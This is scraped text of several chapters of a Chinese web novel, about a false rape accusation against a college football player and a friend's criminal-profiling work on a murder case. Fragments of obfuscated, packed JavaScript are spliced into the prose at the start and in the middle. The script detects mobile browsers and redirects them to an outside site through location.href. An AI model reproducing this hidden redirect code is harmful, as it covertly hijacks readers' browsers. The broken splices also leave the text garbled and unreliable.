l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041229|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你现在又在做什么?” “做受害者侧写,”云决明说,身子让开了一些,让她瞧见铺满了整张桌子的打印资料,又指了指自己的电脑,“我正在根据不同犯罪心理学专家的意见和理论修改我做出的侧写——在现实中,犯罪心理侧写的准确率其实很低,只有30%左右,因此我想做好几个不同的侧写出来,这样,之后用你设计的程序筛选受害人的时候,可以提高准确率。” “几个不同的侧写?”艾莉好奇地走过来,低头望着他在笔记本电脑上打出来的那一行行字,“这是什么意思?” “受害者侧写有助于我们理解连环杀人犯选择该名受害者的理由——即他是出于什么样的动机,才选择了这样的一个人。但在提出理论及猜测的阶段,不能随便就排除任何一种动机,所以,从不同的动机出发,就会形成不同的受害者侧写,同时符合两种或以上侧写的受害者,就很有可能是被同一个人杀死的。”云决明兴致勃勃地解释着,“目前,我才做到第三种,因为每一次更换动机,都需要从一个全新的,完全不同的角度去看待你父亲的案件,我会给自己几天的时间清空思绪,免得侧写之间相互干扰。” “噢?”艾莉似懂非懂地应了一句。 “如果你有兴趣的话,可以看看这本《犯罪行为侧写》,是由柯特·巴托及安妮·巴托共同撰写的,”他从一大堆资料下面抽出了一本书,递给了艾莉,“你不用看完整本书,只需要看我做了重点标记及贴了便签条的地方,就能大概理解与犯罪行为侧写有关的一些理论,这样,之后我向你解释的时候,你就能大致听懂了。” 这么做至少有个好处,就是他们两个都沉浸在书本与资料中,完全忘记了艾登还没回来这件事。十二点半,云决明和艾莉都饿了,他们简单地就冰箱里有的食材分配了一下工作——前者负责煮饭,洗菜,切菜,后者则试着炒了一盘据说是中国人必做的新手菜,番茄炒蛋,又白灼了半盆青菜,淋了点酱油上去。他们两个都不是熟手,这顿简单的饭做了一个多小时,期间艾莉还上油管看了好几个烹饪视频,为番茄炒蛋到底该放番茄罐头还是放白糖犹豫了好久。但最终成品不错,云决明觉得她做的比自己做的好吃,至少艾莉对盐味的把握还挺不错的。 吃完饭,云决明照例主动把碗给洗了,他余光瞥见艾莉皱着眉走到了阳台上,一会站在原地发短信,一会又走来走去,手机举在耳边,皱着眉头等待着。从她满脸不悦的神色来看,艾登仍然联系不上。 双手在围裙上蹭了蹭水渍,云决明也从口袋里掏出了手机。犹豫了好一会才拨通了通讯录上的一个名字。电话没响两声就接通了,“Hi,云决明,”会长的声音欢快地从耳旁传来,“发生什么事了吗?我以为你这辈子都不会主动给任何人打电话呢。” 她说的没错,要不是担心艾登,再给云决明十辈子的时间,他也绝对不会主动打电话给黎疏眠,“艾登现在还没回家,”他直入主题,“艾莉——他的妹妹——给他打了好多次电话了,但他都没接,她很担心,因为拜托我来问问你,昨晚艾登离开了兄弟会宿舍吗?” “我都已经知道你对艾登的感情了,难道你就不能坦率一点告诉我,其实是你担心得不得了才会给我打电话吗?”会长调侃了一句,云决明把手机拿远了一点,在擦得锃亮的铜锅上瞧见自己涨得通红的脸,“不过,我想艾登昨晚没走,他跟杰森起了一点冲突,两个人置气,把一瓶白酒平分喝完了。那之后,艾登和杰森都醉得不省人事,被人抬到楼上歇息去了。要是还没回来,多半就是酒还没醒的缘故。他们两个喝的是别人特意从国内带过来的上等茅台,后劲大得很。唉,一瓶好酒就这么被喝掉了,我还觉得有点惋惜呢” “艾莉想去兄弟会宿舍把她的哥哥接回来,”云决明压低了声音问道,同时注意着艾莉有没有从阳台回来,“你觉得我应该载她去吗?” 要是会长说他应该这么做,云决明心想,那他就能心安理得地安慰自己,说这全是那两个女人的主意,与他一点关系都没有。 “要我说,你要是实在放心不下,就开车去接,”黎疏眠丝毫不上当,一句话把自己撇得干干净净,还戳破了他的心思,“云决明,你太小心翼翼了。不管艾登对你有没有那方面的心思,不到你直接投怀送抱,或者大着胆子表白,他都想不到你的行为背后藏着怎样的——” 她的话被由远及近的汽车引擎声打断了。云决明的心猛跳起来,他有预感那就是艾登,跟小时候在家里偷看电视,一听见楼道里响起的脚步声,就能猜到是不是自己的小姨一样。“抱歉,我等会再打给你。”他匆匆忙忙地说了一句,迅速挂断电话,“艾莉,是艾登回来了!”他甚至没有跑到窗户边确认一下,就向阳台上的她招呼着,自己则冲下了楼梯,一把拉开了门,同时及时拽住了想要飞奔出家门,迎接自己主人的洛克希。 “艾登回来了?”艾莉紧跟在他身后跑下,疑惑地问道。 她的问题立刻就被那个从黑色奔驰车中钻出的熟悉身影回答了。 艾登穿着前一天晚上的参加派对的衣服,头发乱得像个鸡窝,一言不发,面无表情。云决明想象他此时可能一身疲态,可能神志迷糊,也有可能还宿醉未醒,走路摇摇晃晃,但他未曾料到的是艾登此时脸上阴沉,恼怒,厌恶又虚脱的模样。云决明刚想走上前,就看见U大橄榄球队的教练从驾驶座上探出了半个身子,微笑着向艾莉打了声招呼。 “Hello,甜心,”他一副老好人的模样,熟稔地嚷道,“你的哥哥昨晚喝多了,醉得不成样子,所以我把他给送回来了。别担心,什么事也没发生,给他煮一壶热茶解解酒,马上就能好起来。” “谢谢你把他送回来,教练。”艾莉只是皮笑肉不笑地回了一句,明显不相信他的话。她简单地冲教练点点头,一句多余的客套话都没说,就扶住了径直向公寓走来,甚至都没跟教练道声谢,道个别的艾登,拉着他往公寓走去。云决明跟着她一块转身时,眼角瞥见艾登的教练对这无礼的对待只是讪讪地笑了笑,就又缩回了车子中去。引擎的轰鸣声随即响起,黑色奔驰一溜烟就没了踪影。 所有不寻常的征兆汇聚成了层层乌云,郁郁地笼罩在云决明心头。 昨晚肯定有什么不妙的事情发生了,他想着,顿时就感到自己的喉头被这个不祥沉沉地拉坠着,直直地沉到了肚子中去。 53. Chapter·Thirty-One “这件事根本说不通。” 艾莉显然动怒了,她的声音变得非常低沉,云决明惊异于她能将自己缩成那么小小的一团,像昏暗的雨天躲藏在车子下的野猫,眼神就足以阻止任何向她伸去的手。在她对面,艾登疲倦地坐在沙发上,双手掩着脸,他保持这个姿势已经好一会了,恍若一个笨重,蠢坌,不协调又突兀的塑像,出现在小人国里的大象,或者是蜉蝣中的鲲鹏,嘶哑的嗓音从指缝中泄出,好似从漏风的口袋里听冬天在呼啸,让这个夏日的午后变得寒腻又粘稠。 云决明端着三杯热茶,放在茶几上,随即默默地在艾登身旁坐下,被马克杯烫得温热的掌心抚慰着他的膝盖。平生第一次,云决明把对感情露馅的担忧都抛到了脑后,艾登此刻需要他的陪伴,他需要朋友和家人的支持,这是他唯一关心的事。 “这事根本就说不通。”他听见艾莉又重复了一次。 “我的头太痛了……”艾登闷闷地说,“我根本就没法思考,所有仅剩的力气都用在克制我的怒气,不要砸了威尔逊校长那张漂亮的大理石办公桌,或者质问他是不是被辐射得失了心智。我只想倒在床上好好睡一觉,艾莉,我好累。” “那之后发生了什么事?我是说,你从办公室离开以后。” “斯蒂文教练追了出来,说他要送我回去。走去停车场的路上他又跟我说了一堆要为球队和学校着想的屁话,暗示了一下如果我被停赛会给学校,给他带来多大的经济损失。等我们坐进车子里的时候,威尔逊校长的秘书又追了出来,说警察已经跟唐泽茹谈过了,他们说,因为唐泽茹没有直接指认嫌疑犯,因此他们得对案件做一番调查,在那之前,校警要求唐泽茹不要跟任何人提起这件事,‘免得打草惊蛇,破坏证据。’这是玛丽安转述给我的原话,‘你可以放心了,’她还这么跟我说,‘根据我的经验,没有哪个女孩会到处宣传这件事的。’我的意思是,去你妈的经验,你跟多少个被强煎过的女孩谈过,玛丽安?你自己就有两个女儿,看在上帝的份上。” “冷静一点,艾登,我们可以把这件事想清楚的。”云决明低声说,把止痛药和杯子递了过去,“来,先吃了这个。” “我觉得说不通的点就在这儿。”艾莉自顾自地说了下去,“唐泽茹虽然心理不正常——” “我觉得她可能有轻微的精神分裂症,”云决明插嘴了,“从艾登描述的言行来看,她似乎出现了很严重的被爱妄想症的症状。如果她不是从父母那里遗传了这一心理疾病,那就极有可能是由精神分裂症引起的。” “我不是很懂心理学,这种疾病不会影响她的智商吧?”艾莉一挑眉毛。 “不会。患有这种妄想症的患者仍然拥有正常的智能。” “我猜也是,既然都知道用几个小号自导自演,智商还不至于到愚蠢那个阶段——既然如此,她怎么就想不明白,在与她那样不欢而散以后,艾登是这个世界上最不可能侵犯她的人。更何况,如果她真的一直在跟踪艾登,她也应该很清楚艾登根本干不出强煎这种事情,告诉警察强煎她的是个亚裔,有意引导他们怀疑到艾登身上,不仅无法让警察抓到真正的犯人,还会造成现在的这种情况——学校为了维护利益和名誉,直接冷处理这起案件。” “也许她想利用这件事来要挟艾登,”云决明说,“从她被强煎,到她去U大警察局报案,中间有好几个小时的空隙,足够她仔仔细细地把这件事想个清清楚楚。她或许注意到艾登喝得烂醉如泥,觉得他不可能记得昨天晚上发生了什么事,因此把内裤和用过的安全套袋子扔到了他的房间,并以此作为未来与艾登交易的筹码——比如说,如果艾登不肯成为她的男朋友,她就要向这全世界揭发他的罪行。” “那这样,报警的意义是什么呢?”艾莉哼了一声。 “留下一个记录,”云决明想了想,“虽然这样会让她手上的底牌曝光,但是却会让她的故事可信不少——毕竟,这么一来,人们就不会质疑她为什么没有第一时间报警了。而且,她没有指名道姓地说出强煎她的就是艾登,这一点也值得商榷,我怀疑,她是特意这么说,好给自己留有一定的余地,以便随时根据艾登的态度来更改她的证词。” “我还是觉得这故事有哪里说不通。”艾莉摇了摇头,“想想看,艾登已经用那么强硬的态度要求她离开了——有几个女孩会在这之后还厚着脸皮留下来?尤其她还自诩自己是艾登的完美妻子,那她更不太可能违抗他的命令,我的意思是说,这就跟她想要塑造的人设相违背了啊。” “任何她做的事情我都无法理解,”艾登说,“我的意思是,如果她要装成我的‘完美妻子’”他的手指在空中比出双引号,随即又回归太阳穴两边,就像压住喷射原油深井一样紧紧压着,“为什么又要网暴疏眠呢?” “她可能觉得自己在赶走小三,”云决明说,“被爱妄想症的患者通常不会接受妄想对象身边的伴侣,他们要么认为那是一种掩饰——即‘他不能公开跟我的关系,所以他找了另一个妻子来掩人耳目’,或者干脆就认为他们是企图把妄想对象从自己身边抢走的第三者。黎疏眠说过,她和你一分手,针对她的骚扰就立刻消失了,她肯定认为你们这段约会关系会结束都是她的功劳。不过,我的确赞成艾莉的说法,唐泽茹如果真的有被爱妄想症的话,我觉得她会直接离开生日派对,等一段时间,再若无其事地回到艾登身边,把派对上的那场争执当成一种无关紧要的情趣。” “我很明确地告诉她我要离开了,”艾登喃喃地说道,“我记得我告诉过她的——在我还没认出她是谁以前。她为什么还会留在那个派对上呢?” “而且,假设她躲过了兄弟会成员,留在了派对上。她为什么会被强煎,又是被谁强煎了?”艾莉一摊手,“我是说,谁敢在杰森举办的派对上造次?谁不知道他父亲的背景?以后要是传出去,有女孩在杰森举办的派对上被侵犯了,还有哪个女生敢答应他的邀请?我觉得没人会冒着得罪杰森的风险去这么做。我很清楚兄弟会那帮人都是些怎样的人渣,他们只有在确定自己百分之一百不会出事的情况下,才会肆无忌惮,任意妄为。除非……” 她突然顿住了,目光缓缓转向艾登,云决明立刻读出了她的弦外之音,不由得皱起了眉头,“你的意思是,强煎唐泽茹的就是杰森?” “他完全干得出这种事,”艾莉点了点头,“问题只有一个,他昨晚在兄弟会宿舍留宿了吗?” 云决明与她都探询地看向艾登,但他摇了摇头,声音虚弱,“我不记得了。” “也许黎疏眠知道,”云决明拿出了手机,“让我问问她。” 一如既往地,电话只响了两声就被接通了,会长没有追问云决明为什么会打来问这么一个莫名其妙的问题,而是干脆地回答了——“他没有留在兄弟会宿舍,”她说道,“他喝醉了以后,有两个成员把他送回家去了。” “你能确定他之后没有回来吗?”云决明失望地追问了一句,艾莉猜到了电话那头黎疏眠的回答,哀叹一声。艾登则从双手中把头拔了出来,专心致志地聆听着他们的对话。 “我能肯定,”会长回答,“因为我留到了最后,确保所有过来玩的中国女孩都平安回去了——你不会以为我把那么多同胞带到一个兄弟会宿舍里,就全然不顾她们的人身安全了吧?” 这个答案是云决明始料未及的,他愣了一愣,才干涩着嗓音开口了,“这里面,也包括唐泽茹吗?” “唐泽茹?”会长愕然反问道,“她来了昨晚的派对?” “还带了六个高中生过来跟我认识呢。”艾登从旁补充了一句,他的声音在电话里听上去一定很糟糕,因为会长足足沉默了两秒,才迟疑着询问了一句,“你还好吗,艾登?” “我现在不想谈论这个话题,”他有气无力地说,“你确定你没有看见唐泽茹吗?” “我很确定。”会长回答道,“而且我邀请女孩们过来参加你的生日派对时,特别注明了这个派对只允许成年的大学生参加。如果有高中生混进了这个派对,那她们肯定是趁被我发现以前离开的。怎么,唐泽茹跑到了这个派对上骚扰你了吗?” “她干的可比骚扰过分得多,”艾莉也挤了过来,插了一句嘴,“我是艾登的妹妹,艾莉,顺便说一句——唐泽茹向校警察局报案,说艾登强煎了她。” 电话那头顿时安静了好一会。 “这不可能。”再次开口时,黎疏眠一贯冷静自持的声音也出现了波动,“这是不可能的事情。艾登喝醉了以后,就被两个成员抬上楼去休息了,我一直就站在楼梯口附近,为的就是担心会有哪个不识相的男人打算把某个女孩子带到楼上去,一直到我离开为止,上楼的都只有男性,没有女性,更别提唐泽茹了。” “如果唐泽茹是被人带走的呢?”云决明问,“我们之前怀疑是杰森强煎了唐泽茹,但你说他喝醉以后就被人送回家了——” “等等,我没搞懂,”黎疏眠打断了他的话,“如果唐泽茹是被别的男人带走并侵犯了,她为什么要告诉警察她是被艾登强煎的?” “严格来说,她没说艾登的名字——”艾莉说。 “她只说,她被一名华裔给侵犯了,而当时派对上唯一的华裔男性,就只有艾登一个。”云决明接话。 “所以,如果她被人带走,并在校外遭到了侵犯,”会长声音里有难以掩饰的讶然,“那她为什么要告诉警察她是在派对上遭到了华裔男性的侵犯?” “我们也弄不懂这一点,”艾莉说,“我从一开始就觉得这个故事有很多地方都说不通。而且,据艾登说,他休息的房间里有撕裂的内衣与用过的安全套袋子——这一点又怎么解释?” “她要么就是趁所有人都离开后再回来——” “这不太可能,”艾登插嘴了,“我问过了教练。他来找我的时候,兄弟会宿舍的大门是锁着的,他敲了好久,才有人醒来给他开门。因此可以佐证,派对结束后,留在里面的成员应该直接就把门锁上了,退一万步说,门没有及时锁上,唐泽茹也发现了这个机会,她能溜进来,不被任何人看见,成功在一间不熟悉的屋子里找到我休息的房间,留下证物,再悄悄地离开——她能成功完成这一切的可能性几乎等于零。” “那她只有可能是从窗外翻进来的。兄弟会宿舍只有两层楼,要爬上去不难。” “我醒来时,窗户的确是打开的,可唐泽茹怎么知道我会在哪间房间休息?” 黎疏眠被问的哑口无言,一时间说不出话来。 “那就只有一个可能性了。”云决明低声说,“她根本没有被强煎,与艾登争执后,她就离开了兄弟会宿舍,爬上了二楼,找到了一间窗户大开又空无一人的房间,在那里留下了所谓‘罪证’,她无所谓这个房间之后是谁睡在这儿,因为她听到艾登说他要走了,她只是要证明艾登曾经在那间房间里对她做过什么,艾登之后会在那间房间休息纯属是巧合。” “但这也说不通啊。”艾莉怀疑地看着他,“艾登是整个派对的中心,难道她觉得半途艾登带着一个女孩上楼了这件事不会有目击证人吗?这件事不管发生还是没发生,都一定会留下证据的啊。” “她很有可能是在与艾登争执过后,才想出这个计划的,时间很多,她未必有时间去设想周全——” “那她如果没被强煎的话,她怎么向警察证明自己遭到了侵犯?”电话那头的会长也发话了,“校警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041230|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定会第一时间就把她带去校医院做检查——” “他们的确检查出了被侵犯的伤痕。”艾登说,“只是没在她体内找到青液。” “好了,我一会还有很多事要做,不能一直跟你们讨论这件事,”黎疏眠略微提高了一点声音,“撇开她这个漏洞百出,然而偏生又有如山铁证的故事不谈,现在学校和警方都知道了这件事,他们打算怎么处理,艾登,你知道吗?” “威尔逊校长和斯蒂文教练打算把唐泽茹敷衍过去,如果没法敷衍过去,就用钱堵住她的嘴。”艾登的声音听上去很空洞,“显然,学校的名誉和利益比一个女孩的贞操要重要得多。” 云决明听见黎疏眠长吁了一口气。 “听着,艾登,”她的语气又恢复了惯常的冷静,“我知道你是个正义感很强的人,你没有办法接受学校的这种处理方式,但就目前的情况来说,确实没有比这更好的办法了——因为你在这件事上是无辜的,也是被动的。没错,校长和教练考虑的只有学校的利益和荣誉,但为了证明他们是错的,难道你就要赌上自己的利益和荣誉吗?” 艾登怔住了,一时没说话。 “而且,我不想让自己听上去显得很冷血无情,但我必须说,这个案件最后不了了之都是唐泽茹自找的。她很不幸地遭到了侵犯,这一点我致以我的同情。但她该做的是说出事实,积极帮助警察抓住真正伤害了她的人,让那个禽兽不如的男人得到应得的惩罚,而不是把她受到的伤害转为对另一个无辜之人的污蔑。她这是对自己不负责任,不需要你为此操心,更不需要你为她感到抱歉。这个世界不是完美的,不是每件事情都能以令人满意的方式得到解决,有时候你只能看结果符不符合你的利益——你现在就得这么做,艾登,如果你想听听我的建议的话,这就是我的建议。” “让我想想吧,疏眠。”艾登沉声说,他扶住了额头,疲倦地阖上了双眼。 “你好好想想吧,在此期间,你最好什么都别做,”黎疏眠并没有因为艾登语气中浓浓的厌倦,就稍微缓和一点她的话语,云决明反倒觉得她比先前听上去更干脆,更坚决。现在他明白为什么艾登对她的感情就只止步于喜欢了,会长的个性对艾登来说,还是太强势了。“现在,谁都不能百分之一百地肯定唐泽茹污蔑你的理由是什么,她这么做想要达到什么目的,有可能她手上掌握着我们都不知道的一些信息,如果你轻举妄动,那些信息就可能成为至你于死地的武器——我不会小瞧她,也不会小瞧她的手段。艾登,既然校长和教练愿意当这个恶人,就让他们的双手去沾满血腥,好过你惹上一身骚,你明白我的意思吗?” “明白。” “那就好,”她松了一口气,“我还有别的事情要忙,之后要是有什么新进展,再来通知我吧。与此同时,我也会密切留意唐泽茹会不会再闹出什么幺蛾子。” “好。” 电话便被挂断了。 “我真的需要去睡一觉,”艾登摇摇晃晃地从沙发上爬起来,一下没站稳,差点就要摔一跤,好在云决明及时扶住了他,艾莉也伸出了手,但她力气不够大,反而差点被扯跌倒,“有什么事,都明天再说好了。艾莉,等会让Ming把你送回去,你留在这也没用。” “好。”艾莉难得地乖顺了一回,没有异议,“我在这等你。”她对云决明说道。 点了点头,云决明吃力地支撑着艾登大部分的体重,搀着他缓缓往楼上走去。进了房间以后,云决明轻手轻脚地把他身上那散发着酸臭味的衣服一一除去,再替他换上干净柔软的睡衣,他心里只有对艾登的担忧与心痛,半分邪念也没有。等仔细掖好艾登的被角,云决明正要离开时,手臂却被拉住了。 “我的礼物呢?”艾登迷迷糊糊地开口了,眼神迷离地望着他,“你说会放在我的床头柜上的,在哪呢?” “等你起来以后再看吧。”云决明安慰他,“不急在这一时。” “我想看。”艾登固执地说,不肯放手,天知道他这会哪来的力气,“我昨晚满脑子想的都是赶紧回来,趁着生日还没过去,拆开你为我准备的礼物——它一定比我昨天所有收到的礼物加起来都要好。” “你都还没看见是什么呢。”云决明柔声说,眼眶忽地一酸,昨夜一直等到凌晨三点的委屈,失望,沮丧在这一刻因为艾登的这句话一扫而空。我的感情是值得的,他心想,觉得自己满心的爱都因为这句话而有了光,虽然只能止步于朋友,却仍然是值得的。 “是你送的,就比别人的都好。”艾登微笑了起来,“让我看看,好不好。” 云决明转身从衣柜里取出了那副画,他收起来的本意是想等艾登清醒一点再给他,或许也有几分赌气的成分在里面。但当他把这幅画放在艾登面前时,所有这些情绪都不重要了,甚至连他对艾登的感情都不重要了。云决明眼里只剩下艾登的双眼,他望着那副画的神情,就像人类第一次瞧见怒放的鲜花,就像星星第一次跨越黑暗瞧见另一颗亮光,就像某颗微不足道的雨滴第一次发觉自己能折射出妙曼的彩虹,就像初生的儿子第一次瞧见自己的父亲,像垂垂老矣的不朽回望来时的漫长。一颗泪水从他睫毛落下,滑进枕头与发梢的罅隙间,眨眼隐于无踪。 “这确实是最好的礼物,Ming,”他轻声说,慢慢闭上双眼,犹如怀抱婴儿般将那副画框在怀中,不愿放开,“谢谢。” 云决明在原地等了几分钟,等艾登的鼻息逐渐趋于平稳,等他倦怠的面容再次如天使般平静,郁结的眉团也终于舒展,他才小心翼翼以指尖在唇边一按,然后微微拂过艾登的面颊,这个吻落在他冒出的胡茬上,并悄悄地留在了那儿,伴他入睡。 “不客气,艾登。” 54. Chapter·One “所以,两个星期了,什么事也没有发生?” 艾莉熟门熟路地打开冰箱,拿出了一瓶蔬菜汁,一边把它倒进小美人鱼的杯子里,一边问道。 这是开学后的第一个周末。 公寓这会只有艾莉和云决明两个人在家——今天是橄榄球赛季正式开始的第一天,U大校队对上诺福克州立大学校队,比赛在U大的体育场内进行,中午十二点以后开始。艾登这一次没强求云决明去观看,后者大大松了一口气,打算在家里看ESPN的现场直播。 艾莉则是过来录制她新的一期视频的。 也许是受了唐泽茹事件的影响,她特意做了两期vlog,主题是参加大学兄弟会派对需要注意的事项。第一期讲了如何得体又不失性感地打扮自己,第二期则讲怎样礼貌地回绝不受欢迎的邀约,避免自己的食物被下药,以及受到骚扰时不同的应对方式。 据她说,因为刚好赶上了大学开学,这两期视频的点击率非常高,评论里还有不少女生分享自己以前参加兄弟会派对时被猥亵的经历。这件事给了艾莉新灵感,她觉得油管上分享自己妆容和打扮的年轻女孩太多了,反而很少有人能在人际交往方面给出不错的点子和建议,因此,周末一到,她就迫不及待找了个补习的借口,让云决明把她从家里接了过来。 “什么事也没有,”云决明从电脑上抬起头,应了一声。他坐在厨房中岛这儿,正忙着做凯斯勒教授布置的作业——他和艾登这学期都选了他的统计学201,“据疏眠说,她也没有听说华人社交圈里有什么消息传出来。” “这么说,我哥还是听了她的意见,让学校处理了这件事。”艾莉双手撑在台面上,趴在他的对面,“那天在电话里,她听上去挺酷的,也许下次可以让艾登介绍我和她认识。” “你会喜欢她的。”云决明说,虽然他不知道艾莉为什么没有第一时间设置拍摄场地,准备开始录制,而是在这儿有一搭没一搭地与他闲聊,但他已经没有过去那么排斥社交,因此觉得还能忍受这种谈话。“她人很好。” “啧啧,想不到你居然这么大度。” 云决明诧异地瞥了她一眼,艾莉撇开了脸,只能隐约看见她弯起的坏笑的嘴角,“没什么,”她咳嗽了两声,“只要这事能平平安安地过去就好。毕竟,赛季已经开始了,我看报纸上都对这一次U大再度取得辉煌成绩,打进超级碗赛有很高的信心,U大这时候根本无法承受任何丑闻——对了,约州时报上还对艾登做了一整个版面的报道,你看了吗?” 何止是看了,他还把报道剪了下来,熨得平平整整,用相框裱了起来,藏在自己的抽屉里,偶尔会拿出来看一眼。“我没注意。”云决明说,把脸藏在电脑屏幕后面,“我平时不怎么看报纸的。” 艾莉嗤笑了一声,好似看穿了他的谎言,“那你呢?”涨红了脸的云决明反击道,“每次赛季一开场,你不是都会在家里公然支持U大的死对头P大校队吗?” “艾登居然连这种事都向你诉苦,真是个幼稚的小孩,”艾莉撇了撇嘴,“看在他今年夏天过的不怎么如意的份上,我今年不打算这么做了——再说了,他都已经搬出去住了,我在家支持给谁看?” “你可以在这儿支持。” “我还要在这儿录制我的视频呢,万一他一生气,不让我来了怎么办?人在屋檐下,不得不低头。” 艾莉那夸张的无奈语气让云决明微微一笑。 “你现在还有自残的冲动吗?”他冷不丁地发问了,“虽说我认为,艾登主动缓解了你们的关系,以及在油管上当博主这两件事,可以极大地缓解你的痛苦——你是个很坚强的女孩,我不会说引起你自残的是抑郁,而是痛苦——但我还是要确认一下。” 从他开口的那一刹那,艾莉脸上的笑意就消隐了,她不自然地低下头去,视线落在她只穿了热裤的双腿上,云决明怀疑她是在自己身上练出了出神入化的遮瑕和化妆技巧,因为他注意看过(完全是以观察证物的心态),根本一点痕迹都瞧不出。 “这不关你的事。”她冷冷地说道,“只是因为你跟艾登的关系好,你曾经劝过他几句,不代表你有资格管我的闲事。” “我只是想得到一个是与否的答案,”云决明使出了自己最温和的声音和语气,“我也不想管你的闲事,但是,倘若将来有一天,艾登知道我早就知道你自残的事情,我却没有做点什么——比如定期确认你的情况——他一辈子也不会原谅我的。” “说到底,你只在意我哥与你的关系会不会因此而遭到破坏。”她抱起了双臂,仍然冷淡地瞧着他。 “可以这么说。”云决明坦率地承认了。对艾莉这种性格的女孩,越表现出对她的关心,只会让她越反感,大大方方地邀请她来参观自己心思中最阴暗的角落,反倒还能得到她的认可。 艾莉盯着他看了好几分钟,期间,云决明没有理会她,只是自顾自地继续做着电脑上的统计表格。“我没有,”她最终淡淡地开口了,“偶尔,我还是会有那么做的冲动,有点像咬手指的坏习惯,把手指塞进嘴里才意识到自己又犯了——但我至少能及时把指甲从齿缝中抽出,而不是继续深深地啃进肉里。” “那就好。” 谨慎挑选了自己的回答,云决明把自己的欣喜和关怀全都紧紧封闭在垂下的的双眼中,嘴巴漫不经心地回了一句。 “作为交换,你也要回答我一个问题。” “好。” “你爱上了我哥,对不对?” 她话音刚落,厨房就响起了咣当一声巨响,睡在阳台上的洛克希被惊醒了,汪汪大叫起来,爪子急切地扒着门,鼻子扁扁地贴在玻璃上,想知道屋内发生了什么事。云决明四脚朝天地摔在地上,他的脑袋磕在沙发边上,好歹是稍稍延缓了一点跌势,没让尾椎骨直接赏给木地板一拳,但屁股上传来的疼痛也不比那好多少。他龇牙咧嘴,扶着柜台,一瘸一拐地站起身,又把椅子放好。整个过程中,云决明都在不停地质问自己——他对艾登的感情到底有多么明显?为什么全世界似乎都能轻易看穿这件事? 艾莉冷眼旁观,没有出手帮忙,“谁叫你非要问让人不舒服的问题,”她幸灾乐祸地说道,“我本来打算,要是你保守我的秘密,闭口不谈,那我也会保守你的秘密,同样秘而不宣。但既然你戳破了这层窗户纸……” 云决明瞪着她,一时之间不知道自己该赶紧否认,还是该谴责她的狡诈。没等他想清楚,艾莉又开口了,“你还没回答我的问题。要知道,我可是很诚实的回答了你的。” “你怎么看出来的?”云决明反问道,就是打死他,他也绝对不会在口头上承认他对艾登的感情。 “拜托,”艾莉翻了个白眼,“我来这儿录了多少次视频?每次我过来,你都在忙碌与我父亲案件有关的事情,不是忙着做受害者侧写,就是在看犯罪心理学方面的书籍。我的意思是,有哪个男人会这么不计代价地为自己的朋友牺牲这么多精力与时间,去做一件自己根本得不到回报的事情?帮忙整理一下数据,偶尔给一点自己的意见,一般人也就会做到这个程度了。只有艾登那个傻子,会以为你这种程度的废寝忘食是正常的。” “我本来就对心理学有兴趣。” “我也热爱小提琴,热爱舞蹈,但要是有哪个朋友要我没有回报,甚至得不到承认地为她谱一首难度很高的曲子,或者是设计一支非常复杂的舞蹈,我只会叫她滚。”艾莉耸耸肩,“就像我说的,会相信你这种狗屁理由的,也就只有艾登那个大傻瓜了。” 云决明无言以对。 “哎呀,别这么一副沮丧的模样,”艾莉拍了拍他的肩膀,“我在保守秘密方面可比你高明多了,更何况,我跟你打赌,就算我告诉了艾登,他也不会相信的——在他心里,你恐怕比公寓外那根电灯柱子还要直,而且还是钻石做的,百折不弯。” 黎疏眠也说过类似的话,但也没让云决明觉得有多好受。 “而且,喜欢上艾登以后,你比以前开朗了不少——我刚认识你的时候,你比我还要不近人情,还要冷漠厌世。这一段感情能让你走出那种自闭孤僻的状态,不是挺好的吗?”大概是觉得自己先前的言行有点过分,艾莉语气软了下来,话也比平时多了一倍,似乎想要稍稍抚慰一下他的心情,“不是每段暗恋都能给人带来这么正面的影响的。” 云决明仍然拒绝回应。 艾莉走到客厅,开门把洛克希放了进来。趁她离开了,云决明忍着屁股的疼痛,坐回椅子上,装出一副自己忙于写作业的样子,免得要继续这个尴尬的话题。他的眼角余光瞥见走回来的艾莉正悄悄打量他的神色。 过了好一会,她突然从丢在沙发上的书包里抽出了柯特·巴托及安妮·巴托的《犯罪行为侧写》,放在他手旁。 “我看完了你上次给我的那本书。” 云决明假装全神贯注地盯着电脑屏幕,实际上一个字都没看进去。见他没吭声,艾莉又接着说下去了。 “你不是说,等我看完以后,你就要跟我解释你做的那些侧写吗?离艾登的比赛开始还有一会,我想听听。” “我有作业要写,艾莉。” “是谁刚才说自己对心理学很有兴趣来着?”一看他开口了,她的语气又恢复了惯常的张扬,“你想要别人相信你是因为兴趣才帮我哥做这些事情,至少要身体力行地实践自己的话吧?” 无奈收回自己放在键盘上的手,云决明转过身,“你真的想听?”他确认道,眼神上下打量着艾莉,确定这不是她出于愧疚才使出的招数。 “你们还要仰仗我做程序来为你们筛选受害者呢,”艾莉说,“要是我连受害者侧写都不清楚,我要怎么写?再说了,这是我父亲的案件,我当然想听。” “那我们就从最基础的几个方面来谈。” 云决明说着,点开了电脑上的文档,将屏幕转向艾莉,“这是你父亲最基本的信息,他死的时候是三十七岁,男性,二分之一中国血统,二分之一外国血统,外貌上,他有一头黑发,五官偏亚裔,灰色眼睛,身高一米八七,体重一百七十斤,家境优渥,属于低风险人群——根据这些基本信息,我就可以得出一个确定的结论,凶手在下手以前,一定观察了你的父亲很久,这不是随机作案,他是有选择地挑选了你的父亲作为他的猎物。” “为什么?”艾莉不解地问道,“书上没有提到这些。” “因为书本不是针对这桩案件写的,”云决明耐心地解释道,“学到知识是一回事,把知识应用在现实生活中又是另外一回事。你在书本上读到了‘有组织犯罪’和‘无组织犯罪’之间的区别,对吗?” 